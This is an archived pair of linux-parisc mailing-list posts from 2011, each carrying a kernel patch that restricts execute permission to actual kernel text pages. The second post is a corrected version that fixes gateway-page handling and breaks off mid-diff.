X-Trace: dough.gmane.org 1302814415 24669 80.91.229.12 (14 Apr 2011 20:53:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2011 20:53:35 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 22:53:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QATXc-0007ZK-A3
	for glpp-linux-parisc@lo.gmane.org; Thu, 14 Apr 2011 22:53:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752703Ab1DNUxW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2011 16:53:22 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33236 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752702Ab1DNUxW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2011 16:53:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 423E58EE10C
	for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2011 13:53:21 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zS5ZWyMolIMJ for <linux-parisc@vger.kernel.org>;
	Thu, 14 Apr 2011 13:53:21 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8A2008EE0D9
	for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2011 13:53:20 -0700 (PDT)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3526
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3526>

Currently parisc has the whole kernel marked as RWX, meaning any
kernel page at all is eligible to be executed.  This can cause a
theoretical problem on systems with combined I/D TLB because the act
of referencing a page causes a TLB insertion with an executable bit.
This TLB entry may be used by the CPU as the basis for speculating the
page into the I-Cache.  If this speculated page is subsequently used
for a user process, there is the possibility we will get a stale
I-cache line picked up as the binary executes.

As a point of good practise, only mark actual kernel text pages as
executable.  The same has to be done for init_text pages, but they're
converted to data pages (and the I-Cache flushed) when the init memory
is released.

James

---

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 5d7b8ce..22dadeb 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -177,7 +177,10 @@ struct vm_area_struct;
 
 #define _PAGE_TABLE	(_PAGE_PRESENT | _PAGE_READ | _PAGE_WRITE |  _PAGE_DIRTY | _PAGE_ACCESSED)
 #define _PAGE_CHG_MASK	(PAGE_MASK | _PAGE_ACCESSED | _PAGE_DIRTY)
-#define _PAGE_KERNEL	(_PAGE_PRESENT | _PAGE_EXEC | _PAGE_READ | _PAGE_WRITE | _PAGE_DIRTY | _PAGE_ACCESSED)
+#define _PAGE_KERNEL_RO	(_PAGE_PRESENT | _PAGE_READ | _PAGE_DIRTY | _PAGE_ACCESSED)
+#define _PAGE_KERNEL_EXEC	(_PAGE_KERNEL_RO | _PAGE_EXEC)
+#define _PAGE_KERNEL_RWX	(_PAGE_KERNEL_EXEC | _PAGE_WRITE)
+#define _PAGE_KERNEL		(_PAGE_KERNEL_RO | _PAGE_WRITE)
 
 /* The pgd/pmd contains a ptr (in phys addr space); since all pgds/pmds
  * are page-aligned, we don't care about the PAGE_OFFSET bits, except
@@ -208,7 +211,9 @@ struct vm_area_struct;
 #define PAGE_COPY       PAGE_EXECREAD
 #define PAGE_RWX        __pgprot(_PAGE_PRESENT | _PAGE_USER | _PAGE_READ | _PAGE_WRITE | _PAGE_EXEC |_PAGE_ACCESSED)
 #define PAGE_KERNEL	__pgprot(_PAGE_KERNEL)
-#define PAGE_KERNEL_RO	__pgprot(_PAGE_KERNEL & ~_PAGE_WRITE)
+#define PAGE_KERNEL_EXEC	__pgprot(_PAGE_KERNEL_EXEC)
+#define PAGE_KERNEL_RWX	__pgprot(_PAGE_KERNEL_RWX)
+#define PAGE_KERNEL_RO	__pgprot(_PAGE_KERNEL_RO)
 #define PAGE_KERNEL_UNC	__pgprot(_PAGE_KERNEL | _PAGE_NO_CACHE)
 #define PAGE_GATEWAY    __pgprot(_PAGE_PRESENT | _PAGE_USER | _PAGE_ACCESSED | _PAGE_GATEWAY| _PAGE_READ)
 
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index ead8d2a..6f05944 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -692,6 +692,9 @@ ENTRY(fault_vector_11)
 END(fault_vector_11)
 
 #endif
+	/* Fault vector is separately protected and *must* be on its own page */
+	.align		PAGE_SIZE
+ENTRY(end_fault_vector)
 
 	.import		handle_interruption,code
 	.import		do_cpu_irq_mask,code
diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index 145c5e4..37aabd7 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -106,8 +106,9 @@ $bss_loop:
 #endif
 
 
-	/* Now initialize the PTEs themselves */
-	ldo		0+_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
+	/* Now initialize the PTEs themselves.  We use RWX for
+	 * everything ... it will get remapped correctly later */
+	ldo		0+_PAGE_KERNEL_RWX(%r0),%r3 /* Hardwired 0 phys addr start */
 	ldi		(1<<(KERNEL_INITIAL_ORDER-PAGE_SHIFT)),%r11 /* PFN count */
 	load32		PA(pg0),%r1
 
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 6e81bb5..cedbbb8 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -61,8 +61,10 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/bug.h>
+#include <linux/mm.h>
 #include <linux/slab.h>
 
+#include <asm/pgtable.h>
 #include <asm/unwind.h>
 
 #if 0
@@ -214,7 +216,13 @@ void *module_alloc(unsigned long size)
 {
 	if (size == 0)
 		return NULL;
-	return vmalloc(size);
+	/* using RWX means less protection for modules, but it's
+	 * easier than trying to map the text, data, init_text and
+	 * init_data correctly */
+	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
+				    GFP_KERNEL | __GFP_HIGHMEM,
+				    PAGE_KERNEL_RWX, -1,
+				    __builtin_return_address(0));
 }
 
 #ifndef CONFIG_64BIT
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 8f1e4ef..bf6a43a 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -134,6 +134,7 @@ SECTIONS
 	. = ALIGN(16384);
 	__init_begin = .;
 	INIT_TEXT_SECTION(16384)
+	. = ALIGN(PAGE_SIZE);
 	INIT_DATA_SECTION(16)
 	/* we have to discard exit text and such at runtime, not link time */
 	.exit.text :
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index b7ed8d7..c555175 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -369,24 +369,159 @@ static void __init setup_bootmem(void)
 	request_resource(&sysram_resources[0], &pdcdata_resource);
 }
 
+static void __init map_pages(unsigned long start_vaddr,
+			     unsigned long start_paddr, unsigned long size,
+			     pgprot_t pgprot, int force)
+{
+	pgd_t *pg_dir;
+	pmd_t *pmd;
+	pte_t *pg_table;
+	unsigned long end_paddr;
+	unsigned long start_pmd;
+	unsigned long start_pte;
+	unsigned long tmp1;
+	unsigned long tmp2;
+	unsigned long address;
+	unsigned long vaddr;
+	unsigned long ro_start;
+	unsigned long ro_end;
+	unsigned long fv_addr;
+	unsigned long gw_addr;
+	extern const unsigned long fault_vector_20;
+	extern void * const linux_gateway_page;
+
+	ro_start = __pa((unsigned long)_text);
+	ro_end   = __pa((unsigned long)&data_start);
+	fv_addr  = __pa((unsigned long)&fault_vector_20) & PAGE_MASK;
+	gw_addr  = __pa((unsigned long)&linux_gateway_page) & PAGE_MASK;
+
+	end_paddr = start_paddr + size;
+
+	pg_dir = pgd_offset_k(start_vaddr);
+
+#if PTRS_PER_PMD == 1
+	start_pmd = 0;
+#else
+	start_pmd = ((start_vaddr >> PMD_SHIFT) & (PTRS_PER_PMD - 1));
+#endif
+	start_pte = ((start_vaddr >> PAGE_SHIFT) & (PTRS_PER_PTE - 1));
+
+	address = start_paddr;
+	vaddr = start_vaddr;
+	while (address < end_paddr) {
+#if PTRS_PER_PMD == 1
+		pmd = (pmd_t *)__pa(pg_dir);
+#else
+		pmd = (pmd_t *)pgd_address(*pg_dir);
+
+		/*
+		 * pmd is physical at this point
+		 */
+
+		if (!pmd) {
+			pmd = (pmd_t *) alloc_bootmem_low_pages_node(NODE_DATA(0), PAGE_SIZE << PMD_ORDER);
+			pmd = (pmd_t *) __pa(pmd);
+		}
+
+		pgd_populate(NULL, pg_dir, __va(pmd));
+#endif
+		pg_dir++;
+
+		/* now change pmd to kernel virtual addresses */
+
+		pmd = (pmd_t *)__va(pmd) + start_pmd;
+		for (tmp1 = start_pmd; tmp1 < PTRS_PER_PMD; tmp1++, pmd++) {
+
+			/*
+			 * pg_table is physical at this point
+			 */
+
+			pg_table = (pte_t *)pmd_address(*pmd);
+			if (!pg_table) {
+				pg_table = (pte_t *)
+					alloc_bootmem_low_pages_node(NODE_DATA(0), PAGE_SIZE);
+				pg_table = (pte_t *) __pa(pg_table);
+			}
+
+			pmd_populate_kernel(NULL, pmd, __va(pg_table));
+
+			/* now change pg_table to kernel virtual addresses */
+
+			pg_table = (pte_t *) __va(pg_table) + start_pte;
+			for (tmp2 = start_pte; tmp2 < PTRS_PER_PTE; tmp2++, pg_table++) {
+				pte_t pte;
+
+				/*
+				 * Map the fault vector writable so we can
+				 * write the HPMC checksum.
+				 */
+				if (force)
+					pte =  __mk_pte(address, pgprot);
+				else if (core_kernel_text(vaddr) &&
+					 address != fv_addr &&
+					 address != gw_addr)
+					pte = __mk_pte(address, PAGE_KERNEL_EXEC);
+				else
+#if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
+				if (address >= ro_start && address < ro_end
+							&& address != fv_addr
+							&& address != gw_addr)
+					pte = __mk_pte(address, PAGE_KERNEL_RO);
+				else
+#endif
+					pte = __mk_pte(address, pgprot);
+
+				if (address >= end_paddr) {
+					if (force)
+						break;
+					else
+						pte_val(pte) = 0;
+				}
+
+				set_pte(pg_table, pte);
+
+				address += PAGE_SIZE;
+				vaddr += PAGE_SIZE;
+			}
+			start_pte = 0;
+
+			if (address >= end_paddr)
+			    break;
+		}
+		start_pmd = 0;
+	}
+}
+
 void free_initmem(void)
 {
 	unsigned long addr;
 	unsigned long init_begin = (unsigned long)__init_begin;
 	unsigned long init_end = (unsigned long)__init_end;
 
-#ifdef CONFIG_DEBUG_KERNEL
+	/* The init text pages are marked R-X.  We have to
+	 * flush the icache and mark them RW-
+	 *
+	 * This is tricky, because map_pages is in the init section.
+	 * Do a dummy remap of the data section first (the data
+	 * section is already PAGE_KERNEL) to pull in the TLB entries
+	 * for map_kernel */
+	map_pages(init_begin, __pa(init_begin), init_end - init_begin,
+		  PAGE_KERNEL_RWX, 1);
+	/* now remap at PAGE_KERNEL since the TLB is pre-primed to execute
+	 * map_pages */
+	map_pages(init_begin, __pa(init_begin), init_end - init_begin,
+		  PAGE_KERNEL, 1);
+
+	/* force the kernel to see the new TLB entries */
+	__flush_tlb_range(0, init_begin, init_end);
 	/* Attempt to catch anyone trying to execute code here
 	 * by filling the page with BRK insns.
 	 */
 	memset((void *)init_begin, 0x00, init_end - init_begin);
+	/* finally dump all the instructions which were cached, since the
+	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
-#endif
 	
-	/* align __init_begin and __init_end to page size,
-	   ignoring linker script where we might have tried to save RAM */
-	init_begin = PAGE_ALIGN(init_begin);
-	init_end = PAGE_ALIGN(init_end);
 	for (addr = init_begin; addr < init_end; addr += PAGE_SIZE) {
 		ClearPageReserved(virt_to_page(addr));
 		init_page_count(virt_to_page(addr));
@@ -616,114 +751,6 @@ void show_mem(unsigned int filter)
 #endif
 }
 
-
-static void __init map_pages(unsigned long start_vaddr, unsigned long start_paddr, unsigned long size, pgprot_t pgprot)
-{
-	pgd_t *pg_dir;
-	pmd_t *pmd;
-	pte_t *pg_table;
-	unsigned long end_paddr;
-	unsigned long start_pmd;
-	unsigned long start_pte;
-	unsigned long tmp1;
-	unsigned long tmp2;
-	unsigned long address;
-	unsigned long ro_start;
-	unsigned long ro_end;
-	unsigned long fv_addr;
-	unsigned long gw_addr;
-	extern const unsigned long fault_vector_20;
-	extern void * const linux_gateway_page;
-
-	ro_start = __pa((unsigned long)_text);
-	ro_end   = __pa((unsigned long)&data_start);
-	fv_addr  = __pa((unsigned long)&fault_vector_20) & PAGE_MASK;
-	gw_addr  = __pa((unsigned long)&linux_gateway_page) & PAGE_MASK;
-
-	end_paddr = start_paddr + size;
-
-	pg_dir = pgd_offset_k(start_vaddr);
-
-#if PTRS_PER_PMD == 1
-	start_pmd = 0;
-#else
-	start_pmd = ((start_vaddr >> PMD_SHIFT) & (PTRS_PER_PMD - 1));
-#endif
-	start_pte = ((start_vaddr >> PAGE_SHIFT) & (PTRS_PER_PTE - 1));
-
-	address = start_paddr;
-	while (address < end_paddr) {
-#if PTRS_PER_PMD == 1
-		pmd = (pmd_t *)__pa(pg_dir);
-#else
-		pmd = (pmd_t *)pgd_address(*pg_dir);
-
-		/*
-		 * pmd is physical at this point
-		 */
-
-		if (!pmd) {
-			pmd = (pmd_t *) alloc_bootmem_low_pages_node(NODE_DATA(0),PAGE_SIZE << PMD_ORDER);
-			pmd = (pmd_t *) __pa(pmd);
-		}
-
-		pgd_populate(NULL, pg_dir, __va(pmd));
-#endif
-		pg_dir++;
-
-		/* now change pmd to kernel virtual addresses */
-
-		pmd = (pmd_t *)__va(pmd) + start_pmd;
-		for (tmp1 = start_pmd; tmp1 < PTRS_PER_PMD; tmp1++,pmd++) {
-
-			/*
-			 * pg_table is physical at this point
-			 */
-
-			pg_table = (pte_t *)pmd_address(*pmd);
-			if (!pg_table) {
-				pg_table = (pte_t *)
-					alloc_bootmem_low_pages_node(NODE_DATA(0),PAGE_SIZE);
-				pg_table = (pte_t *) __pa(pg_table);
-			}
-
-			pmd_populate_kernel(NULL, pmd, __va(pg_table));
-
-			/* now change pg_table to kernel virtual addresses */
-
-			pg_table = (pte_t *) __va(pg_table) + start_pte;
-			for (tmp2 = start_pte; tmp2 < PTRS_PER_PTE; tmp2++,pg_table++) {
-				pte_t pte;
-
-				/*
-				 * Map the fault vector writable so we can
-				 * write the HPMC checksum.
-				 */
-#if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
-				if (address >= ro_start && address < ro_end
-							&& address != fv_addr
-							&& address != gw_addr)
-				    pte = __mk_pte(address, PAGE_KERNEL_RO);
-				else
-#endif
-				    pte = __mk_pte(address, pgprot);
-
-				if (address >= end_paddr)
-					pte_val(pte) = 0;
-
-				set_pte(pg_table, pte);
-
-				address += PAGE_SIZE;
-			}
-			start_pte = 0;
-
-			if (address >= end_paddr)
-			    break;
-		}
-		start_pmd = 0;
-	}
-}
-
 /*
  * pagetable_init() sets up the page tables
  *
@@ -748,14 +775,14 @@ static void __init pagetable_init(void)
 		size = pmem_ranges[range].pages << PAGE_SHIFT;
 
 		map_pages((unsigned long)__va(start_paddr), start_paddr,
-			size, PAGE_KERNEL);
+			  size, PAGE_KERNEL, 0);
 	}
 
 #ifdef CONFIG_BLK_DEV_INITRD
 	if (initrd_end && initrd_end > mem_limit) {
 		printk(KERN_INFO "initrd: mapping %08lx-%08lx\n", initrd_start, initrd_end);
 		map_pages(initrd_start, __pa(initrd_start),
-			initrd_end - initrd_start, PAGE_KERNEL);
+			  initrd_end - initrd_start, PAGE_KERNEL, 0);
 	}
 #endif
 
@@ -780,7 +807,7 @@ static void __init gateway_init(void)
 	 */
 
 	map_pages(linux_gateway_page_addr, __pa(&linux_gateway_page),
-		PAGE_SIZE, PAGE_GATEWAY);
+		  PAGE_SIZE, PAGE_GATEWAY, 1);
 }
 
 #ifdef CONFIG_HPUX


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: only make executable areas executable
Date: Thu, 14 Apr 2011 18:25:21 -0500
Lines: 456
Approved: news@gmane.org
Message-ID: <1302823521.9800.16.camel@mulgrave.site>
References: <1302814399.9800.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1302823531 7527 80.91.229.12 (14 Apr 2011 23:25:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2011 23:25:31 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 01:25:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QAVuf-0008AX-Kl
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Apr 2011 01:25:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754625Ab1DNXZY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2011 19:25:24 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51717 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754570Ab1DNXZY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2011 19:25:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 475198EE10C
	for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2011 16:25:23 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ma6r1PZiu3IN for <linux-parisc@vger.kernel.org>;
	Thu, 14 Apr 2011 16:25:23 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8C9618EE0D9
	for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2011 16:25:22 -0700 (PDT)
In-Reply-To: <1302814399.9800.10.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3527
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3527>

On Thu, 2011-04-14 at 15:53 -0500, James Bottomley wrote:
> Currently parisc has the whole kernel marked as RWX, meaning any
> kernel page at all is eligible to be executed.  This can cause a
> theoretical problem on systems with combined I/D TLB because the act
> of referencing a page causes a TLB insertion with an executable bit.
> This TLB entry may be used by the CPU as the basis for speculating the
> page into the I-Cache.  If this speculated page is subsequently used
> for a user process, there is the possibility we will get a stale
> I-cache line picked up as the binary executes.
> 
> As a point of good practise, only mark actual kernel text pages as
> executable.  The same has to be done for init_text pages, but they're
> converted to data pages (and the I-Cache flushed) when the init memory
> is released.

Just sent this off, then realised (or rather found out why gdb no longer
traces binaries) that special casing the gateway page means that it
isn't executable via the gateway page, so here's the correct patch

James

---

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Subject: [PATCH] parisc: only make executable areas executable

Currently parisc has the whole kernel marked as RWX, meaning any
kernel page at all is eligible to be executed.  This can cause a
theoretical problem on systems with combined I/D TLB because the act
of referencing a page causes a TLB insertion with an executable bit.
This TLB entry may be used by the CPU as the basis for speculating the
page into the I-Cache.  If this speculated page is subsequently used
for a user process, there is the possibility we will get a stale
I-cache line picked up as the binary executes.

As a point of good practice, only mark actual kernel text pages as
executable.  The same has to be done for init_text pages, but they're
converted to data pages (and the I-Cache flushed) when the init memory
is released.

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 5d7b8ce..22dadeb 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -177,7 +177,10 @@ struct vm_area_struct;
 
 #define _PAGE_TABLE	(_PAGE_PRESENT | _PAGE_READ | _PAGE_WRITE |  _PAGE_DIRTY | _PAGE_ACCESSED)
 #define _PAGE_CHG_MASK	(PAGE_MASK | _PAGE_ACCESSED | _PAGE_DIRTY)
-#define _PAGE_KERNEL	(_PAGE_PRESENT | _PAGE_EXEC | _PAGE_READ | _PAGE_WRITE | _PAGE_DIRTY | _PAGE_ACCESSED)
+#define _PAGE_KERNEL_RO	(_PAGE_PRESENT | _PAGE_READ | _PAGE_DIRTY | _PAGE_ACCESSED)
+#define _PAGE_KERNEL_EXEC	(_PAGE_KERNEL_RO | _PAGE_EXEC)
+#define _PAGE_KERNEL_RWX	(_PAGE_KERNEL_EXEC | _PAGE_WRITE)
+#define _PAGE_KERNEL		(_PAGE_KERNEL_RO | _PAGE_WRITE)
 
 /* The pgd/pmd contains a ptr (in phys addr space); since all pgds/pmds
  * are page-aligned, we don't care about the PAGE_OFFSET bits, except
@@ -208,7 +211,9 @@ struct vm_area_struct;
 #define PAGE_COPY       PAGE_EXECREAD
 #define PAGE_RWX        __pgprot(_PAGE_PRESENT | _PAGE_USER | _PAGE_READ | _PAGE_WRITE | _PAGE_EXEC |_PAGE_ACCESSED)
 #define PAGE_KERNEL	__pgprot(_PAGE_KERNEL)
-#define PAGE_KERNEL_RO	__pgprot(_PAGE_KERNEL & ~_PAGE_WRITE)
+#define PAGE_KERNEL_EXEC	__pgprot(_PAGE_KERNEL_EXEC)
+#define PAGE_KERNEL_RWX	__pgprot(_PAGE_KERNEL_RWX)
+#define PAGE_KERNEL_RO	__pgprot(_PAGE_KERNEL_RO)
 #define PAGE_KERNEL_UNC	__pgprot(_PAGE_KERNEL | _PAGE_NO_CACHE)
 #define PAGE_GATEWAY    __pgprot(_PAGE_PRESENT | _PAGE_USER | _PAGE_ACCESSED | _PAGE_GATEWAY| _PAGE_READ)
 
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index ead8d2a..6f05944 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -692,6 +692,9 @@ ENTRY(fault_vector_11)
 END(fault_vector_11)
 
 #endif
+	/* Fault vector is separately protected and *must* be on its own page */
+	.align		PAGE_SIZE
+ENTRY(end_fault_vector)
 
 	.import		handle_interruption,code
 	.import		do_cpu_irq_mask,code
diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index 145c5e4..37aabd7 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -106,8 +106,9 @@ $bss_loop:
 #endif
 
 
-	/* Now initialize the PTEs themselves */
-	ldo		0+_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
+	/* Now initialize the PTEs themselves.  We use RWX for
+	 * everything ... it will get remapped correctly later */
+	ldo		0+_PAGE_KERNEL_RWX(%r0),%r3 /* Hardwired 0 phys addr start */
 	ldi		(1<<(KERNEL_INITIAL_ORDER-PAGE_SHIFT)),%r11 /* PFN count */
 	load32		PA(pg0),%r1
 
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 6e81bb5..cedbbb8 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -61,8 +61,10 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/bug.h>
+#include <linux/mm.h>
 #include <linux/slab.h>
 
+#include <asm/pgtable.h>
 #include <asm/unwind.h>
 
 #if 0
@@ -214,7 +216,13 @@ void *module_alloc(unsigned long size)
 {
 	if (size == 0)
 		return NULL;
-	return vmalloc(size);
+	/* using RWX means less protection for modules, but it's
+	 * easier than trying to map the text, data, init_text and
+	 * init_data correctly */
+	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
+				    GFP_KERNEL | __GFP_HIGHMEM,
+				    PAGE_KERNEL_RWX, -1,
+				    __builtin_return_address(0));
 }
 
 #ifndef CONFIG_64BIT
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 8f1e4ef..bf6a43a 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -134,6 +134,7 @@ SECTIONS
 	. = ALIGN(16384);
 	__init_begin = .;
 	INIT_TEXT_SECTION(16384)
+	. = ALIGN(PAGE_SIZE);
 	INIT_DATA_SECTION(16)
 	/* we have to discard exit text and such at runtime, not link time */
 	.exit.text :
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index b7ed8d7..7e6b465 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -369,24 +369,158 @@ static void __init setup_bootmem(void)
 	request_resource(&sysram_resources[0], &pdcdata_resource);
 }
 
+static void __init map_pages(unsigned long start_vaddr,
+			     unsigned long start_paddr, unsigned long size,
+			     pgprot_t pgprot, int force)
+{
+	pgd_t *pg_dir;
+	pmd_t *pmd;
+	pte_t *pg_table;
+	unsigned long end_paddr;
+	unsigned long start_pmd;
+	unsigned long start_pte;
+	unsigned long tmp1;
+	unsigned long tmp2;
+	unsigned long address;
+	unsigned long vaddr;
+	unsigned long ro_start;
+	unsigned long ro_end;
+	unsigned long fv_addr;
+	unsigned long gw_addr;
+	extern const unsigned long fault_vector_20;
+	extern void * const linux_gateway_page;
+
+	ro_start = __pa((unsigned long)_text);
+	ro_end   = __pa((unsigned long)&data_start);
+	fv_addr  = __pa((unsigned long)&fault_vector_20) & PAGE_MASK;
+	gw_addr  = __pa((unsigned long)&linux_gateway_page) & PAGE_MASK;
+
+	end_paddr = start_paddr + size;
+
+	pg_dir = pgd_offset_k(start_vaddr);
+
+#if PTRS_PER_PMD == 1
+	start_pmd = 0;
+#else
+	start_pmd = ((start_vaddr >> PMD_SHIFT) & (PTRS_PER_PMD - 1));
+#endif
+	start_pte = ((start_vaddr >> PAGE_SHIFT) & (PTRS_PER_PTE - 1));
+
+	address = start_paddr;
+	vaddr = start_vaddr;
+	while (address < end_paddr) {
+#if PTRS_PER_PMD == 1
+		pmd = (pmd_t *)__pa(pg_dir);
+#else
+		pmd = (pmd_t *)pgd_address(*pg_dir);
+
+		/*
+		 * pmd is physical at this point
+		 */
+
+		if (!pmd) {
+			pmd = (pmd_t *) alloc_bootmem_low_pages_node(NODE_DATA(0), PAGE_SIZE << PMD_ORDER);
+			pmd = (pmd_t *) __pa(pmd);
+		}
+
+		pgd_populate(NULL, pg_dir, __va(pmd));
+#endif
+		pg_dir++;
+
+		/* now change pmd to kernel virtual addresses */
+
+		pmd = (pmd_t *)__va(pmd) + start_pmd;
+		for (tmp1 = start_pmd; tmp1 < PTRS_PER_PMD; tmp1++, pmd++) {
+
+			/*
+			 * pg_table is physical at this point
+			 */
+
+			pg_table = (pte_t *)pmd_address(*pmd);
+			if (!pg_table) {
+				pg_table = (pte_t *)
+					alloc_bootmem_low_pages_node(NODE_DATA(0), PAGE_SIZE);
+				pg_table = (pte_t *) __pa(pg_table);
+			}
+
+			pmd_populate_kernel(NULL, pmd, __va(pg_table));
+
+			/* now change pg_table to kernel virtual addresses */
+
+			pg_table = (pte_t *) __va(pg_table) + start_pte;
+			for (tmp2 = start_pte; tmp2 < PTRS_PER_PTE; tmp2++, pg_table++) {
+				pte_t pte;
+
+				/*
+				 * Map the fault vector writable so we can
+				 * write the HPMC checksum.
+				 */
+				if (force)
+					pte =  __mk_pte(address, pgprot);
+				else if (core_kernel_text(vaddr) &&
+					 address != fv_addr)
+					pte = __mk_pte(address, PAGE_KERNEL_EXEC);
+				else
+#if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
+				if (address >= ro_start && address < ro_end
+							&& address != fv_addr
+							&& address != gw_addr)
+					pte = __mk_pte(address, PAGE_KERNEL_RO);
+				else
+#endif
+					pte = __mk_pte(address, pgprot);
+
+				if (address >= end_paddr) {
+					if (force)
+						break;
+					else
